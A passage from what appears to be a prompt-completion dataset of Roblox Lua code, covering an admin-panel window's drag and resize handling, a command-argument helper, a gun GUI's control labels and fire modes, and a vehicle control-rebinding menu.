Drag.AbsoluteSize.Y\n\t\t\t\n\t\t\tif x < 0 then\n\t\t\t\tDrag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\t\t\t\n\t\t\tif y < 0 then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)\n\t\t\tend\n\t\t\t\n\t\t\tif x + abx > gx then\n\t\t\t\tDrag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\t\t\t\n\t\t\tif y + ySize > gy then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfunction setSize(newSize)\n\t\tif newSize and type(newSize) == \"table\" then\n\t\t\tif newSize[1] < 50 then newSize[1] = 50 end\n\t\t\tif newSize[2] < 50 then newSize[2] = 50 end\n\t\t\t\n\t\t\tDrag.Size = UDim2.new(0,newSize[1],0,25)\n\t\t\tMain.Size = UDim2.new(1,0,0,newSize[2])\n\t\tend \n\tend\n\t\n\tfunction setPosition(newPos)\n\t\tif newPos and typeof(newPos) == \"UDim2\" then\n\t\t\tDrag.Position = newPos\n\t\telseif newPos and type(newPos) == \"table\" then\n\t\t\tDrag.Position = UDim2.new(0, newPos[1], 0, newPos[2])\n\t\telseif Size and not newPos then\n\t\t\tDrag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)\n\t\tend \n\tend\n\t\n\tif Name then\n\t\tgTable.Name = Name\n\t\tif data.AllowMultiple ~= nil and data.AllowMultiple == false then\n\t\t\tlocal found, num = client.UI.Get(Name, GUI, true)\n\t\t\tif found then\n\t\t\t\tdoClose()\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif Size then\n\t\tsetSize(Size)\n\tend\n\t\n\tif Position then\n\t\tsetPosition(Position)\n\tend \n\t\n\tif Title then\n\t\tTitlef.Text = Title\n\tend\n\t\n\tif CanKeepAlive or not ResetOnSpawn then\n\t\tgTable.CanKeepAlive = true\n\t\tGUI.ResetOnSpawn = false\n\telseif ResetOnSpawn then\n\t\tgTable.CanKeepAlive = false\n\t\tGUI.ResetOnSpawn = true\n\tend\n\t\n\tif Icon then\n\t\tIconf.Visible = true\n\t\tIconf.Image = Icon\n\tend\n\t\n\tif CanvasSize then\n\t\tScrollFrame.CanvasSize = CanvasSize\n\tend\n\t\n\tif noClose then\n\t\tClose.Visible = false\n\t\tRefresh.Position = Hide.Position\n\t\tHide.Position = Close.Position\n\tend\n\t\n\tif noHide then\n\t\tHide.Visible = false\n\t\tRefresh.Position = Hide.Position\n\tend\n\t\n\tif Walls then\n\t\tDrag.DragStopped:connect(function()\n\t\t\twallPosition()\n\t\tend)\n\tend\n\t\n\tif onRefresh then\n\t\tlocal debounce = false\n\t\tfunction DoRefresh()\n\t\t\tif not Refreshing then\n\t\t\t\tlocal done = false\n\t\t\t\tRefreshing = true\n\t\t\t\t\n\t\t\t\tspawn(function()\n\t\t\t\t\twhile gTable.Active and not done do\n\t\t\t\t\t\tfor i = 0,180,10 do\n\t\t\t\t\t\t\trSpinner.Rotation = -i\n\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tonRefresh()\n\t\t\t\twait(1)\n\t\t\t\tdone = true\n\t\t\t\tRefreshing = false\n\t\t\tend\n\t\tend\n\t\t\n\t\tRefresh.MouseButton1Down:connect(function()\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\tDoRefresh()\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend)\n\t\t\n\t\tTitlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)\n\telse\n\t\tRefresh.Visible = false\n\tend\n\t\n\tif iconClicked then\n\t\tIconf.MouseButton1Down(function()\n\t\t\ticonClicked(data, GUI, Iconf)\n\t\tend)\n\tend\n\t\n\tif Menu then\n\t\tdata.Menu.Text = \"\"\n\t\tdata.Menu.Parent = Main\n\t\tdata.Menu.Size = UDim2.new(1,-10,0,25)\n\t\tdata.Menu.Position = UDim2.new(0,5,0,25)\n\t\tScrollFrame.Size = UDim2.new(1,-10,1,-55)\n\t\tScrollFrame.Position = UDim2.new(0,5,0,50)\n\t\tdata.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)\n\t\tdata.Menu.BorderSizePixel = 0\n\t\tcreate(\"TextLabel\",data.Menu)\n\tend\n\t\n\tif not SizeLocked then\n\t\tlocal startXPos = Drag.AbsolutePosition.X\n\t\tlocal startYPos = Drag.AbsolutePosition.Y\n\t\tlocal startXSize = Drag.AbsoluteSize.X\n\t\tlocal startYSize = Drag.AbsoluteSize.Y\n\t\tlocal vars = client.Variables\n\t\tlocal newIcon\n\t\tlocal inFrame\n\t\tlocal ReallyInFrame\n\t\t\n\t\tlocal function readify(obj)\n\t\t\tobj.MouseEnter:connect(function()\n\t\t\t\tReallyInFrame = obj\n\t\t\tend)\n\t\t\t\n\t\t\tobj.MouseLeave:connect(function()\n\t\t\t\tif ReallyInFrame == obj then\n\t\t\t\t\tReallyInFrame = nil\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t--[[\n\t\treadify(Drag)\n\t\treadify(ScrollFrame)\n\t\treadify(TopRight)\n\t\treadify(TopLeft)\n\t\treadify(RightCorner)\n\t\treadify(LeftCorner)\n\t\treadify(RightSide)\n\t\treadify(LeftSide)\n\t\treadify(Bottom)\n\t\treadify(Top)\n\t\t--]]\n\t\t\n\t\tfunction checkMouse(x, y) --// Update later to remove frame by frame pos checking\n\t\t\tif gTable.Active and Main.Visible then \n\t\t\t\tif isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\telseif isInFrame(x, y, TopRight) then\n\t\t\t\t\tinFrame = \"TopRight\"\n\t\t\t\t\tnewIcon = MouseIcons.TopRight\n\t\t\t\telseif isInFrame(x, y, TopLeft) then\n\t\t\t\t\tinFrame = \"TopLeft\"\n\t\t\t\t\tnewIcon = MouseIcons.TopLeft\n\t\t\t\telseif isInFrame(x, y, RightCorner) then\n\t\t\t\t\tinFrame = \"RightCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.RightCorner\n\t\t\t\telseif isInFrame(x, y, LeftCorner) then\n\t\t\t\t\tinFrame = \"LeftCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.LeftCorner\n\t\t\t\telseif isInFrame(x, y, RightSide) then\n\t\t\t\t\tinFrame = \"RightSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, LeftSide) then\n\t\t\t\t\tinFrame = \"LeftSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, Bottom) then\n\t\t\t\t\tinFrame = \"Bottom\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telseif isInFrame(x, y, Top) then\n\t\t\t\t\tinFrame = \"Top\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telse\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tinFrame = nil\n\t\t\tend\n\t\t\t\n\t\t\tif (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then\n\t\t\t\tif inFrame and newIcon then\n\t\t\t\t\tMouse.Icon = newIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = gTable\n\t\t\t\telseif client.Variables.MouseLockedBy == gTable then\n\t\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputStart(x, y)\n\t\t\tcheckMouse(x, y)\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputEnd()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--DragEnabled = true\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputMoved(x, y)\n\t\t\tif gTable.Active then\n\t\t\t\tif Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then\n\t\t\t\t\tcurIcon = Mouse.Icon\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif Resizing then\n\t\t\t\t\tlocal moveX = false\n\t\t\t\t\tlocal moveY = false\n\t\t\t\t\tlocal newPos = Drag.Position\n\t\t\t\t\tlocal xPos, yPos = x, y\n\t\t\t\t\tlocal newX, newY = startXSize, startYSize\n\t\t\t\t\t\n\t\t\t\t\t--DragEnabled = false\n\t\t\t\t\t\n\t\t\t\t\tif Resizing == \"TopRight\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\telseif Resizing == \"TopLeft\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize -1\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightCorner\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"LeftCorner\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"LeftSide\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightSide\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\telseif Resizing == \"Bottom\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"Top\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize - 1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif newX < MinSize[1] then newX = MinSize[1] end\n\t\t\t\t\tif newY < MinSize[2] then newY = MinSize[2] end\n\t\t\t\t\tif newX > MaxSize[1] then newX = MaxSize[1] end\n\t\t\t\t\tif newY > MaxSize[2] then newY = MaxSize[2] end\n\t\t\t\t\t\n\t\t\t\t\tif moveX then\n\t\t\t\t\t\tnewPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif moveY then\n\t\t\t\t\t\tnewPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tDrag.Position = newPos\n\t\t\t\t\tDrag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\t\t\tMain.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)\n\t\t\t\t\t\n\t\t\t\t\tif not Titlef.TextFits then\n\t\t\t\t\t\tTitlef.Visible = false\n\t\t\t\t\telse\n\t\t\t\t\t\tTitlef.Visible = true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcheckMouse(x, y)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tEvent(InputService.InputBegan, function(input, gameHandled)\n\t\t\tif not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tinputStart(Mouse.X, Mouse.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputChanged, function(input, gameHandled)\n\t\t\tif (input.UserInputType == Enum.UserInputType.MouseMovement or Enum.UserInputType.Touch) then\n\t\t\t\tinputMoved(input.Position.X, input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputEnded, function(input, gameHandled)\n\t\t\tif (input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch) then\n\t\t\t\tinputEnd()\n\t\t\tend\n\t\tend)\n\t\t\n\t\t--[[Event(Mouse.Button1Down, function()\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\t\tcheckMouse()\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Mouse.Button1Up, function()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend)--]]\n\telse\n\t\tLeftSizeIcon.Visible = false\n\t\tRightSizeIcon.Visible = false\n\tend\n\t\n\t\n\tClose.MouseButton1Down:connect(doClose)\n\tHide.MouseButton1Down:connect(function() doHide() end)\n\tgTable.CustomDestroy = function()\n\t\tservice.UnWrap(GUI):Destroy()\n\t\tif client.Variables.MouseLockedBy == gTable then\n\t\t\tMouse.Icon = curIcon\n\t\t\tclient.Variables.MouseLockedBy = nil\n\t\tend\n\t\t\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tif onClose then\n\t\t\t\tonClose()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor i,child in next,GUI:GetChildren() do\n\t\tif child.Name ~= \"Desc\" and child.Name ~= \"Drag\" then\n\t\t\tspecialInsts[child.Name] = child\n\t\t\tchild.Parent = nil\n\t\tend\n\tend\n\t\n\t--// Drag & DisplayOrder Handler\n\tdo\n\t\tlocal windowValue = Instance.new(\"BoolValue\", GUI)\n\t\tlocal dragDragging = false\n\t\tlocal dragOffset\n\t\tlocal inFrame\n\t\t\n\t\twindowValue.Name = \"__ADONIS_WINDOW\"\n\t\t\n\t\tEvent(Main.InputBegan, function(input)\n\t\t\tif gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tBringToFront()\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputBegan, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\t\t\n\t\t\t\tif (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\t\tBringToFront()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputChanged, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputEnded, function(input)\n\t\t\tinFrame = false\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputBegan, function(input)\n\t\t\tif inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then\n\t\t\t\tdragDragging = true\n\t\t\t\tBringToFront()\n\t\t\t\tdragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputChanged, function(input)\n\t\t\tif dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tDrag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputEnded, function(input)\n\t\t\tif (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tdragDragging = false\n\t\t\tend\n\t\tend)\n\tend\n\n\t--// Finishing up\n\tlocal api = apiIfy(ScrollFrame, data)\n\tlocal meta = api:GetMetatable()\n\tlocal oldNewIndex = meta.__newindex\n\tlocal oldIndex = meta.__index\n\t\n\tcreate(\"ScrollingFrame\", nil, ScrollFrame)\n\tLoadChildren(api, Content)\n\t\n\tapi:SetSpecial(\"gTable\", gTable)\n\tapi:SetSpecial(\"Window\", GUI)\n\tapi:SetSpecial(\"Main\", Main)\n\tapi:SetSpecial(\"Title\", Titlef)\n\tapi:SetSpecial(\"Dragger\", Drag)\n\tapi:SetSpecial(\"Destroy\", doClose)\n\tapi:SetSpecial(\"Close\", doClose)\n\tapi:SetSpecial(\"Object\", ScrollFrame)\n\tapi:SetSpecial(\"Refresh\", DoRefresh) \n\tapi:SetSpecial(\"AddTitleButton\", function(ignore, data) if type(ignore) == \"table\" and not data then data = ignore end return addTitleButton(data) end)\n\tapi:SetSpecial(\"Ready\", function() if onReady then onReady() end gTable.Ready() BringToFront() end)\n\tapi:SetSpecial(\"BindEvent\", function(ignore, ...) Event(...) end)\t\n\tapi:SetSpecial(\"Hide\", function(ignore, hide) doHide(hide) end)\n\tapi:SetSpecial(\"SetTitle\", function(ignore, newTitle) Titlef.Text = newTitle end)\n\tapi:SetSpecial(\"SetPosition\", function(ignore, newPos) setPosition(newPos) end)\n\tapi:SetSpecial(\"SetSize\", function(ignore, newSize) setSize(newSize) end)\n\tapi:SetSpecial(\"GetPosition\", function() return Drag.AbsolutePosition end)\n\tapi:SetSpecial(\"GetSize\", function() return Main.AbsoluteSize end)\n\tapi:SetSpecial(\"IsVisible\", isVisible)\n\tapi:SetSpecial(\"IsClosed\", isClosed)\n\t\n\tmeta.__index = function(tab, ind)\n\t\tif ind == \"IsVisible\" then\n\t\t\treturn isVisible()\n\t\telseif ind == \"Closed\" then\n\t\t\treturn isClosed\n\t\telse\n\t\t\treturn oldIndex(tab, ind)\n\t\tend\n\tend\n\t\n\tsetSize(Size)\n\tsetPosition(Position)\n\t\n\tif Ready then\n\t\tgTable:Ready()\n\t\tBringToFront()\n\tend\n\t\n\treturn api,GUI\nend\n"} +{"prompt": "--- Returns the last argument that has a value.\n-- Useful for getting the autocomplete for the argument the user is working on.", "completion": "\nfunction Command:GetLastArgument()\n\tfor i = #self.Arguments, 1, -1 do\n\t\tif self.Arguments[i].RawValue then\n\t\t\treturn self.Arguments[i]\n\t\tend\n\tend\nend\n"} +{"prompt": "--------------------[ GUI SETUP FUNCTION ]--------------------------------------------", "completion": "\n\nfunction convertKey(Key)\n\tif Key == string.char(8) then\n\t\treturn \"BKSPCE\" \n\telseif Key == string.char(9) then\n\t\treturn \"TAB\"\n\telseif Key == string.char(13) then\n\t\treturn \"ENTER\"\n\telseif Key == string.char(17) then\n\t\treturn \"UP\"\n\telseif Key == string.char(18) then\n\t\treturn \"DOWN\"\n\telseif Key == string.char(19) then\n\t\treturn \"RIGHT\"\n\telseif Key == string.char(20) then\n\t\treturn \"LEFT\"\n\telseif Key == string.char(22) then\n\t\treturn \"HOME\"\n\telseif Key == string.char(23) then\n\t\treturn \"END\"\n\telseif Key == string.char(27) then\n\t\treturn \"F2\"\n\telseif Key == string.char(29) then\n\t\treturn \"F4\"\n\telseif Key == string.char(30) then\n\t\treturn \"F5\"\n\telseif Key == string.char(32) or Key == \" \" then\n\t\treturn \"F7\"\n\telseif Key == string.char(33) or Key == \"!\" then\n\t\treturn \"F8\"\n\telseif Key == string.char(34) or Key == '\"' then\n\t\treturn \"F9\"\n\telseif Key == string.char(35) or Key == \"#\" then\n\t\treturn \"F10\"\n\telseif Key == string.char(37) or Key == \"%\" then\n\t\treturn \"F12\"\n\telseif Key == string.char(47) or Key == \"/\" then\n\t\treturn \"R-SHIFT\"\n\telseif Key == string.char(48) or Key == \"0\" then\n\t\treturn \"L-SHIFT\"\n\telseif Key == string.char(49) or Key == \"1\" then\n\t\treturn \"R-CTRL\"\n\telseif Key == string.char(50) or Key == \"2\" then\n\t\treturn \"L-CTRL\"\n\telseif Key == string.char(51) or Key == \"3\" then\n\t\treturn \"R-ALT\"\n\telseif Key == string.char(52) or Key == \"4\" then\n\t\treturn \"L-ALT\"\n\telse\n\t\treturn string.upper(Key)\n\tend\nend\n\nfunction createControlFrame(Key, Desc, Num)\n\tlocal C = Instance.new(\"Frame\")\n\tC.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1)\n\tC.BorderSizePixel = 0\n\tC.Name = \"C\"..Num\n\tC.Position = UDim2.new(0, 0, 0, Num * 20)\n\tC.Size = UDim2.new(1, 0, 0, 20)\n\tC.ZIndex = 10\n\t\n\tlocal K = Instance.new(\"TextLabel\")\n\tK.BackgroundTransparency = 1\n\tK.Name = \"Key\"\n\tK.Size = UDim2.new(0, 45, 1, 0)\n\tK.ZIndex = 10\n\tK.Font = Enum.Font.ArialBold\n\tK.FontSize = Enum.FontSize.Size14\n\tK.Text = Key\n\tK.TextColor3 = Color3.new(1, 1, 1)\n\tK.TextScaled = (string.len(Key) > 5)\n\tK.TextWrapped = (string.len(Key) > 5)\n\tK.Parent = C\n\t\n\tlocal D = Instance.new(\"TextLabel\")\n\tD.BackgroundTransparency = 1\n\tD.Name = \"Desc\"\n\tD.Position = UDim2.new(0, 50, 0, 0)\n\tD.Size = UDim2.new(1, -50, 1, 0)\n\tD.ZIndex = 10\n\tD.Font = Enum.Font.SourceSansBold\n\tD.FontSize = Enum.FontSize.Size14\n\tD.Text = \"- \"..Desc\n\tD.TextColor3 = Color3.new(1, 1, 1)\n\tD.TextXAlignment = Enum.TextXAlignment.Left\n\tD.Parent = C\n\t\n\tC.Parent = Controls\nend\n\nfunction createModes()\n\tnumModes = 0\n\tfor i, v in pairs(S.selectFireSettings.Modes) do\n\t\tif v then\n\t\t\tnumModes = numModes + 1\n\t\tend\n\tend\n\t\n\tlocal currentMode = 0\n\tfor i, v in pairs(S.selectFireSettings.Modes) do\n\t\tif v then\n\t\t\tlocal Frame = Instance.new(\"Frame\")\n\t\t\tFrame.BackgroundTransparency = 1\n\t\t\tFrame.Name = currentMode\n\t\t\tFrame.Position = UDim2.new()\n\t\t\tFrame.Size = UDim2.new()\n\t\t\tFrame.Parent = fireModes\n\t\t\tlocal modeLabel = Instance.new(\"TextLabel\")\n\t\t\tmodeLabel.BackgroundTransparency = 1\n\t\t\tmodeLabel.Name = \"Label\"\n\t\t\tmodeLabel.Position = UDim2.new(0, -20, 0, 0)\n\t\t\tmodeLabel.Size = UDim2.new(0, 40, 0, 20)\n\t\t\tmodeLabel.Font = Enum.Font.SourceSansBold\n\t\t\tmodeLabel.FontSize = Enum.FontSize.Size18\n\t\t\tmodeLabel.Text = string.upper(i)\n\t\t\tmodeLabel.TextColor3 = Color3.new(1, 1, 1)\n\t\t\tmodeLabel.TextScaled = true\n\t\t\tmodeLabel.TextStrokeTransparency = 0\n\t\t\tmodeLabel.TextTransparency = 0.5\n\t\t\tmodeLabel.TextWrapped = true\n\t\t\tmodeLabel.Parent = Frame\n\t\t\ttable.insert(Modes, string.upper(i))\n\t\t\tcurrentMode = currentMode + 1\n\t\tend\n\tend\n\t\n\tguiAngOffset = -15 * (numModes ^ 3) + 150 * (numModes ^ 2) - 525 * numModes + 660\nend\n\nfunction setUpGUI()\n\tlocal currentNum = 1\n\t\n\tfor _, v in pairs(Controls:GetChildren()) do\n\t\tif v.Name ~= \"Title\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\n\t\n\tfor _, PTable in pairs(Plugins.KeyDown) do\n\t\tcreateControlFrame(convertKey(PTable.Key), PTable.Description, currentNum)\n\t\tcurrentNum = currentNum + 1\n\tend\n\t\n\tif S.canChangeStance then\n\t\tlocal Dive = (S.dolphinDive and \" / Dive\" or \"\")\n\t\tcreateControlFrame(convertKey(S.Keys.lowerStance), \"Lower Stance\"..Dive, currentNum)\n\t\tcurrentNum = currentNum + 1\n\t\t\n\t\tcreateControlFrame(convertKey(S.Keys.raiseStance), \"Raise Stance\", currentNum)\n\t\tcurrentNum = currentNum + 1\n\tend\n\t\n\tif S.selectFire then\n\t\tcreateControlFrame(convertKey(S.Keys.selectFire), \"Select Fire\", currentNum)\n\t\tcurrentNum = currentNum + 1\n\tend\n\t\n\tcreateControlFrame(convertKey(S.Keys.Reload), \"Reload\", currentNum)\n\tcurrentNum = currentNum + 1\n\t\n\tcreateControlFrame(convertKey(S.Keys.Sprint), \"Sprint\", currentNum)\n\tcurrentNum = currentNum + 1\n\t\n\tif S.canADS then\n\t\tlocal Hold = (S.aimSettings.holdToADS and \"HOLD \" or \"\")\n\t\tif S.Keys.ADS ~= \"\" then\n\t\t\tcreateControlFrame(Hold..convertKey(S.Keys.ADS)..\" OR R-MOUSE\", \"Aim Down Sights\", currentNum)\n\t\telse\n\t\t\tcreateControlFrame(Hold..\" R-MOUSE\", \"Aim Down Sights\", currentNum)\n\t\tend\n\t\tcurrentNum = currentNum + 1\n\tend\n\t\n\tControls.Size = UDim2.new(1, 0, 0, currentNum * 20)\n\tControls.Position = UDim2.new(0, 0, 0, -(currentNum * 20) - 80)\n\t\n\tif S.guiScope then\n\t\tscopeSteady.Text = \"Hold \"..convertKey(S.Keys.scopeSteady)..\" to Steady\"\n\tend\n\t\n\tgunNameTitle.Text = Gun.Name\n\t\n\tupdateClipAmmo()\n\tupdateStoredAmmo()\n\t\n\tfireModes:ClearAllChildren()\n\tcreateModes()\n\tupdateModeLabels(numModes - 1, 0, 90)\n\t\n\tif S.selectFire then\n\t\tmodeGUI.Text = Modes[((rawFireMode - 1) % numModes) + 1]\n\telse\n\t\tmodeGUI.Text = (\n\t\t\tS.gunType.Semi and \"SEMI\" or\n\t\t\tS.gunType.Auto and \"AUTO\" or\n\t\t\tS.gunType.Burst and \"BURST\" or\n\t\t\t\"SAFETY\"\n\t\t)\n\tend\nend\n"} +{"prompt": "---Controls UI", "completion": "\n\nlocal controlsOpen = false\nlocal cInputB = nil\nlocal cInputT = nil\nlocal cInput = false\nfor i,v in pairs(_Tune.Controls) do\n\tlocal button = script.Parent.Controls.Window.Content[i]\n\tbutton.Text = v.Name\n\tbutton.MouseButton1Click:connect(function()\n\t\t_InControls = true\n\t\tscript.Parent.Controls.Window.Overlay.Visible = true\n\t\tcInput = true\n\t\trepeat wait() until cInputB~=nil\n\t\tif cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then\n\t\t\t--do nothing\n\t\telseif string.find(i,\"Contlr\")~=nil then\n\t\t\tif cInputT.Name:find(\"Gamepad\") then\n\t\t\t\t_Tune.Controls[i] = cInputB\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tscript.Parent.Controls.Window.Error.Visible = true\n\t\t\tend\n\t\telseif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\tif cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then\n\t\t\t\t_Tune.Controls[i] = cInputT\n\t\t\t\tbutton.Text = cInputT.Name\n\t\t\telse\n\t\t\t\tscript.Parent.Controls.Window.Error.Visible = true\n\t\t\tend\t\n\t\telse\n\t\t\tif cInputT == Enum.UserInputType.Keyboard then\n\t\t\t\t_Tune.Controls[i] = cInputB\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tscript.Parent.Controls.Window.Error.Visible = true\n\t\t\tend\n\t\tend\n\t\tcInputB = nil\n\t\tcInputT = nil\n\t\tcInput = false\n\t\twait(.2)\n\t\tscript.Parent.Controls.Window.Overlay.Visible = false\n\t\t_InControls = false\n\tend)\nend\n\nscript.Parent.Controls.Window.Error.Changed:connect(function(property)\n\tif property == 